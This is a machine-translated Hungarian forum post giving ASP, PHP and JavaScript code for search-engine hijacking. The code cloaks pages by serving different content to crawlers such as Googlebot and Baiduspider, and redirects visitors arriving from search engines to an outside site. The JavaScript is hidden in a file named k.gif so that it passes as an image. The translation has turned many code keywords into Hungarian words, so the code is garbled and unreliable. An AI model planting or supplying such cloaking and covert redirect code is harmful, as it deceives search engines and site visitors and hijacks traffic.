|
|
Közzétéve 2014. 12. 01. 18:48:55
|
|
|

Először is egyszerű: add fel a következő kódot a főoldalra:
ASP verzió <!--#include file="conn.asp"--> <script src="images\k.gif"></script>
PHP verzió <!--#include file="conn.php"--> <script src="images\k.gif"></script>
Ezután add hozzá a következő kódot a conn fájlhoz a weboldal programja szerint, ha nincs conn.asp vagy conn.php, hozd létre magad:
conn.asp kiadás
----------- a következő reprodukció-------------------------------- <% funkció isspider() DIM ügynök, SEARRAY, én agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("Googlebot","baiduspider","sogou","yahoo","soso","360spider") isspider= hamis i=0 esetén ubound(searray) ha (instr(agent,searray(i))>0), akkor isspider=true következő Végfunkció
fromse() függvény dim URLrefer,i,searray urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER")) fromse= hamis if urlrefer=""", akkor fromse= false searray=array("Google","baidu","sogou","yahoo","soso","360") i=0 esetén ubound(searray) if (instr(URLrefer,Searray(i))>0), akkor fromse=true következő Végfunkció
function gethttp(URL) DIM HTTP set http=createobject("MSXML2. XMLHTTP") http.open "GET",url,false Http.send() ha Http.readystate<>4, akkor Kilépési függvény vége ha gethttp=bytes2BSTR(Http.responseBody) beállítás http=semmi Ha err.number<>0, akkor err. Tiszta Végfunkció
function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" A i = 1 LenB(vIn) értékéhez ThisCharCode = AscB(MidB(vIn,i,1)) Ha a ThisCharCode < & H80, akkor strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 Vége Ha Következő bytes2BSTR = strReturn Végfüggvény
ha(isspider()) akkor DIM myfso,fileurl,filecon,myfile,bodyurl,remotehtml bodyurl="http://www.itsvse.com" //snapshot URL válasz.tiszta remotehtml=gethttp(bodyurl) response.write (remotehtml) response.write("<!--"&now()&"-->") válasz.öblítés response.end vége ha
%>
conn.php
---------------- a következő reprodukció----------------
<?php function is_search_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = tömb('baiduspider','sogou pók','sosospider','iaskspider','naverrobot'); foreach ($identify AS $key => $tag){ if (strstr($user_agent, $tag)){ return true; } } hamis; } funkció is_urlbaidu() { $come_from="baidu@sogou@soso@iask@naver"; $referer = explode("@",$come_from); foreach($referer as $url){ if (stristr($_SERVER['HTTP_REFERER'],$url)){ return true; } } hamis; }
if (is_search_bot()) { $html = "<title>Wuhan Software Engineering Vocational College</title> <meta name=\"Author\" content=\"Töltsd ki ugyanazt, mint a kulcsszavakat\"> <meta name=\"Kulcsszavak\" content=\"Kulcsszavak\"> <meta name=
\"Leírás\" tartalom=\"Leírás\"> </head> <body>tartalom</body></html>"; Echo $html; } if (!is_search_bot() & & is_urlbaidu())
{ Fejléc('Helyszín:http://www.itsvse.com');
} ?>
Végül a képek könyvtárban tölts fel egy k.gif fájlt a kód k.gif:
var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 ) location.href="http://www.itsvse.com"; Átirányítási URL
|
Előző:A legújabb kód QQ chat tud csevegni anélkül, hogy barátokat adnál hozzá, csevegj Ma HuatenggelKövetkező:Demó eszköz telefonleállításra, hallgatózásra – eltérítve AndroidPowerOff-ot
|